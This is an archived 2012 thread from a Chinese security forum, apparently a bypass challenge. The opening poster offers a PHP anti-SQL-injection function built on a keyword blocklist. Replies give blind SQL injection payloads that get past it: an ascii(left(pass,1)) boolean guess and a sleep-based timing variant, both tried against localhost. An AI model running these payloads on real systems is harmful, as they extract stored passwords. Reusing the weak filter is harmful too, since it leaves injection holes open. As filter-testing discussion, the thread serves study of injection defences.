# 一个php防注入code求讨论\[部分解决\]

**URL:** <https://forum.90sec.com/t/topic/3735>\
**Category:** 交流讨论\
**Created:** [2012 年6 月 16 日 13:02 UTC](https://forum.90sec.com/t/topic/3735 "2012-06-16T13:02:22Z")\
**Posts on this page:** 6\
**Page:** 1

<div class="post-metadata">

作者： ![435420828](https://forum.90sec.com/letter_avatar_proxy/v4/letter/4/bcef8e/32.png) [@435420828](https://forum.90sec.com/u/435420828)\
发布日期： [2012 年6 月 16 日 13:02 UTC](https://forum.90sec.com/t/topic/3735/1 "2012-06-16T13:02:22Z")

</div>

_本帖最后由 晴天小铸 于 2012-6-17 12:58 编辑_

```php
<?php
$sb=$_GET['sb'];
$a=inject_check($sb);

echo "$a";

function inject_check($sql_str) {
  if(strtoupper($sql_str)=="UPDATETIME" ){
  return eregi('select|insert|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $sql_str);   
  }else{	
  return eregi('select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $sql_str);   
  }     
}  
?>**大家能突破么,127.0.0.1:8080/1.php?sb=select ,返回1你就输了,返回空白你就赢了。 前提是注入代码能运行。。[b]
{:4_49:}
---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[b]3漏洞的一个朋友:**
**select * from admin where id=1 and ascii(left(pass,1))>=0，这里ID可以注入
and ascii(left(pass,1))>=0
用ascii猜解成功绕过那个防注入**
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
**where x=x and 1=ascii(substring(pass,1,1)) and sleep(100)
只有满足前面的and才会执行sleep**
----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                  **继续讨论**

```

```

```

---

<div class="post-metadata">

作者： ![network](https://forum.90sec.com/user_avatar/forum.90sec.com/network/32/11349_2.png) [@network](https://forum.90sec.com/u/network)\
发布日期： [2012 年6 月 16 日 14:04 UTC](https://forum.90sec.com/t/topic/3735/2 "2012-06-16T14:04:28Z")

</div>

{:4\_63:}我赢了 全部删除 返回空白。

---

<div class="post-metadata">

作者： ![435420828](https://forum.90sec.com/letter_avatar_proxy/v4/letter/4/bcef8e/32.png) [@435420828](https://forum.90sec.com/u/435420828)\
发布日期： [2012 年6 月 16 日 14:22 UTC](https://forum.90sec.com/t/topic/3735/3 "2012-06-16T14:22:55Z")

</div>

\*\*回复 [2#](http://www.90sec.org/redirect.php?goto=findpost&pid=30767&ptid=2699) _network_ \*\*

```
= =你赢了{:4_60:}

```

---

<div class="post-metadata">

作者： ![EchoEye](https://forum.90sec.com/letter_avatar_proxy/v4/letter/e/bc79bd/32.png) [@EchoEye](https://forum.90sec.com/u/EchoEye)\
发布日期： [2012 年6 月 16 日 15:29 UTC](https://forum.90sec.com/t/topic/3735/4 "2012-06-16T15:29:13Z")

</div>

我觉得只有在前面已经查询到你想要知道的表的时候  
比如，select \* from admin where id=1 and ascii(left(pass,1))\>=0，这里ID可以注入

---

<div class="post-metadata">

作者： ![435420828](https://forum.90sec.com/letter_avatar_proxy/v4/letter/4/bcef8e/32.png) [@435420828](https://forum.90sec.com/u/435420828)\
发布日期： [2012 年6 月 16 日 15:42 UTC](https://forum.90sec.com/t/topic/3735/5 "2012-06-16T15:42:43Z")

</div>

_本帖最后由 晴天小铸 于 2012-6-17 12:51 编辑_

\*\*回复 [4#](http://www.90sec.org/redirect.php?goto=findpost&pid=30791&ptid=2699) _EchoEye_ \*\*

```
感谢~！ [http://127.0.0.1:8080/zhuru/click.php?sb=and%20ascii%28left%28pass](<http://127.0.0.1:8080/zhuru/click.php?sb=and%20ascii%28left%28pass>),1%29%29%3E=0
                                 [b]绕过了,是个不错的思路ascii表慢慢猜[b] 谢谢 不过需要'闭合 id都有'$id'或者'."$id".' 很鸡助

```

{:4\_90:}

---

<div class="post-metadata">

作者： ![435420828](https://forum.90sec.com/letter_avatar_proxy/v4/letter/4/bcef8e/32.png) [@435420828](https://forum.90sec.com/u/435420828)\
发布日期： [2012 年6 月 17 日 05:01 UTC](https://forum.90sec.com/t/topic/3735/6 "2012-06-17T05:01:20Z")

</div>

\*\*回复 [2#](http://www.90sec.org/redirect.php?goto=findpost&pid=30767&ptid=2699) _network_ \*\*

```
突破有几个了哈哈

```
